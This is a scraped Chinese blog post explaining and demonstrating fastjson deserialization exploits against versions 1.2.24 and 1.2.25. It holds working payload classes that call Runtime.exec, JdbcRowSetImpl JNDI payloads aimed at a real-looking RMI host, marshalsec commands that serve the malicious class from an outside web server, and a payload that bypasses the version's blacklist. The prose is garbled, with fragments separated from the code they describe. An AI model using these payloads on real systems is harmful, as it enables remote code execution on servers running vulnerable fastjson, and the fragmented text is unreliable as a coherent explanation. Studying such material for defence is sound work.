fastjson反序列化漏洞原理及利用
2021-02-06 02:18
标签:put 还原 轻松 groovy 堆栈 invoke javabean void exe 我是从 适用范围 版本
适用范围 版本
使用 使用的是 这里直接用参考的一篇freebuf上的代码了,作用很简单,设置了 首先介绍下 对应测试的例子,代码如下 可以从上面简单的函数介绍中看出,对于序列化成 而从 对于 首选准备好poc,也就是之后会装到 拿到这个文件,将其内容进行base64编码,我拿 同目录下运行 准备下接受的代码,我从 运行下能够成功触发计算器 debug跟踪下堆栈看看发生了什么 最先肯定是传入点 接下来会到 下一步会进到这个函数里,是对可控长度变量的分析,这里也就是 调用 之后进入 继续跟进会调用 进入了 之后会进入到 设置参数是会调用 前面的参数会不满足 最终到了触发点, 单步跟踪2次,是对 这里单步跟踪2次时候没有任何反应,之后发现是没对 那么在这个点继续跟进,首先仔细看上面反射调用的方法 进 继续跟踪 在第486行调用了 因为我们精心构造的exp里面没有 进入后是对 _bytecodes字段进行base64解码后还原这个 可以看到455行的 当然 这里漏洞利用要明确思路: 攻击者在本地启一个 让被攻击的目标反序列化特定的类,这个类最终会调用 利用方法 在本地挂上恶意代码执行的类,本地复现到了实际中又因为要公网ip所以要重新部署,所以我这里就直接把恶意的 准备Exp 编译一下 在本地启动 https://github.com/mbechler/marshalsec 需要用maven进行生成jar包,进入 之后使用过的是这个包,可以移动到仍意目录都可以 接下来就是启动 第一使用python的 访问下网页是能看到的 之后利用 万事已经准备好了,接下来只要在被攻击的目标(这里是本机)发送python进 成功弹出计算器 之前一直尝试不成功,改了下 在1.2.25之后,在 注意其中的这一段,如果类的名字开头在deny名单里面,就直接抛出错误了 看看 实现原理是利将 我们把上面的payload发送到 进入函数,很明显 顺利通过 接下来会加载 跟进之后,在这里把 在这里将刚刚 接下来调用了 跟进 这里当然是不在的,因此把 之后在回到对 跟进进入,到这里会根据类名从 之后会根据取出的值是否为 之后可以看到类 打一波,成功触发 https://www.freebuf.com/vuls/178012.html https://www.cnblogs.com/mrchang/p/6789060.html https://www.cnblogs.com/hac425/p/9800288.html https://xz.aliyun.com/t/5680 https://www.jianshu.com/p/2bc43d16a3a6 https://github.com/JoyChou93/java-sec-code/wiki/Fastjson https://cloud.tencent.com/developer/article/1468779 fastjson反序列化漏洞原理及利用 标签:put 还原 轻松 groovy 堆栈 invoke javabean void exe 原文地址:https://www.cnblogs.com/sijidou/p/13121332.html重要漏洞利用poc及版本
github
上的参考中直接copy
的exp
,这个类就是要注入的类import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit() {
try{
// 要执行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
网上经常分析的17年的一个远程代码执行漏洞
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的绕过方法
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
预备知识
spring boot
来搭建本次的环境,这样对java的版本和fastjson版本的修改十分的轻松,选取的依赖如下fastjson 1.2.24
版本写一个像javabean一样作用的类
age
,username
的设置和读取,secret
的读取package com.fastjson.demo;
class Demo2User {
private int age;
public String username;
private String secret;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getSecret() {
return secret;
}
@Override
public String toString() {
return this.age + "," + this.username + "," + this.secret;
}
}
fastjson的工作形式
fastjson
的功能就是将json
格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据转换成json
数据进行传输,有点类似序列化的操作序列化
操作和反序列化
操作需要的函数
函数
作用
JSON.toJSONString(Object)
将对象序列化成
json
格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName)
将对象序列化成
json
格式,并且记录了对象所属的类的信息
JSON.parse(Json)
将
json
格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json)
返回对象是
com.alibaba.fastjson.JSONObject
类
JSON.parseObject(Json, Object.class)
返回对象会根据
json
中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField);
会把Json数据对应的类中的私有成员也给还原
public class Demo2test1 {
public static void main(String[] args){
Demo2User demo2User = new Demo2User();
demo2User.setAge(10);
demo2User.setUsername("sijidou");
String ser1 = JSON.toJSONString(demo2User);
System.out.println(ser1);
String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
System.out.println(ser2);
System.out.println("==========完美的分割线============");
Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
System.out.println(demo2User1);
Object demo2User2 = JSON.parseObject(ser2);
System.out.println(demo2User2.getClass().getName());
Object demo2User3 = JSON.parseObject(ser2, Object.class);
System.out.println(demo2User3);
Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
System.out.println(demo2User4);
}
}
json
格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)
更加方便json
反序列回来,一般用JSON.parseObject()
来实现漏洞利用
fastjson版本 的情况,利用思路主要有2种
JSON.parseObject()
这个函数,将json
中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
并通过特意构造达到命令执行JNDI注入
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl类
,而这个类有一个字段就是_bytecodes
,有部分函数会根据这个_bytecodes
生成java实例,这就达到fastjson通过字段传入一个类
,再通过这个类被生成时执行构造函数。_bytecodes
里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class
文件package com.fastjson.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class poc extends AbstractTranslet {
public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
poc t = new poc();
}
}
vulhub
上用php写的exploit.php
改了改vulhub
上的fastjson
项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson
的序列化public class Demo3{
public void init()
{
get("/", (req, res) -> "Hello World");
post("/", (request, response) -> {
String data = request.body();
JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
return "122";
});
}
public static void main(String[] args)
{
Demo3 i = new Demo3();
i.init();
}
}
漏洞分析
JSON.parseObject(data, Feature.SupportNonPublicField);
接口,这个漏洞利用方法必须要存在Feature.SupportNonPublicField
设置(即允许private对象传入)JSON
类中,发现JSON.parseObject()
其实是调用了JSON.parse()
Feature.SupportNonPublicField
的开启识别parse(String text, int features)
,继续执行parser.parse()
接口DeafultJSONParser.java
通过switch判断,进入到LBRACE
中deserializer.deserialze(this, clazz, fieldName)
JavaBeanDeserializer.java
中,这段主要是进行反序列化操作了DefaultFieldDeserializer.java
中调用setValue
来设置参数了FieldDeserializer.java
中的setValue
,已经可以看到Method
方法,标志着这里触发反射if(method != null)
的判断,到outputProperties
的时候,因为它是个类,存在method
,于是进入if
分支invoke
_bytecodes
中的base64,对应的.class
文件中的类进行还原,然后触发构造函数中的代码执行,触发计算器com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类没进行下载,并且没有进行下断点.....com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
TemplatesImpl
类里面对getOutputProperties()
下断点newTransformer()
方法,看名字就是新生成一个Transformer
getTransletInstance()
方法,之后进入getTransletInstance()
方法中__class
成员变量,所以会触发defineTransletClasses()
方法,跟进class
,之后就出来回到了getTransletInstance()
translet
被赋值成class.com.fastjson.demo.poc
也就是我们构造的的poc类
,在456行进行初始化的时候,触发代码执行通过jndi注入
jndi
是一个Java命令和目录接口,举个例子,通过jndi
进行数据库操作,无需知道它数据库是mysql
还是ssql
,还是MongoDB
等,它会自动识别。rmi
也可以通过jndi
实现,rmi
的作用相当于在服务器上创建了类的仓库的api
,客户端只用带着参数去请求,服务器进行一系列处理后,把运算后的参数还回来。rmi
的服务器,上面挂上恶意的payloadlookup()
函数,导致jndi
接口指向我们的rmi服务器
上的恶意payloadExp
和rmi
服务器都放在vps上了import java.lang.Runtime;
import java.lang.Process;
public class Exp {
public Exp() {
try{
// 要执行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exp e = new Exp();
}
}
javac Exp.java
rmi
服务器,这里推荐github上的一个项目marshalsec
marshalsec
目录后git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
rmi
服务器了,这里要做2个步骤SimpleHTTPServer
模块在刚刚编译好的Exp.class
目录下开一个web服务python -m SimpleHTTPServer 8000
marshalsec
,启动rmi
服务,再开一个shell java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://mi0.xyz:8000/#Exp
JSON.parse()
就会触发import com.alibaba.fastjson.JSON;
public class poc {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
jre
的版本为1.8_102能够触发1.2.25之后修复方案
ParserConfig.java
中添加了public Class> checkAutoType(String typeName, Class> expectClass)
过滤的函数denyList
的名单 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
最新fastjson绕过黑名单REC
fastjson
vps
上的准备方法和上面讲到的jndi
注入是一样的,唯一的区别在于发送的payload不同,以下payload可以绕过黑名单校验{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
JdbcRowSetImpl
类加入到mappings
的缓存,在JdbcRowSetImpl
类进入黑名单过滤之前,fastjson
会先看缓存里面有没有这个类,有的话,就直接返回了。也就是没有走进黑名单过滤,就结束了checkfastjson
1.2.25版本中,走到了checkAutoType()
的位置java.lang.Class
不在黑名单内java.lang.Class
类JdbcRowSetImpl
类付给了objVal
变量objVal
的值赋值给了strVal
loadClass
loadClass
,首先查看JdbcRowSetImpl
类是不是在mappings
中JdbcRowSetImpl
类加入到该mappings
中JdbcRowSetImpl
类的检验地方了mapping
中取出对象,很明显,刚刚是把JdbcRowSetImpl
类是加入到mappings
中的,因此是可以取出来null
进行判断,通过下图,已经看到在黑名单前,就返回了JdbcRowSetImpl
已经过了该限制了参考链接
文章标题:fastjson反序列化漏洞原理及利用
文章链接:http://soscw.com/index.php/essay/51590.html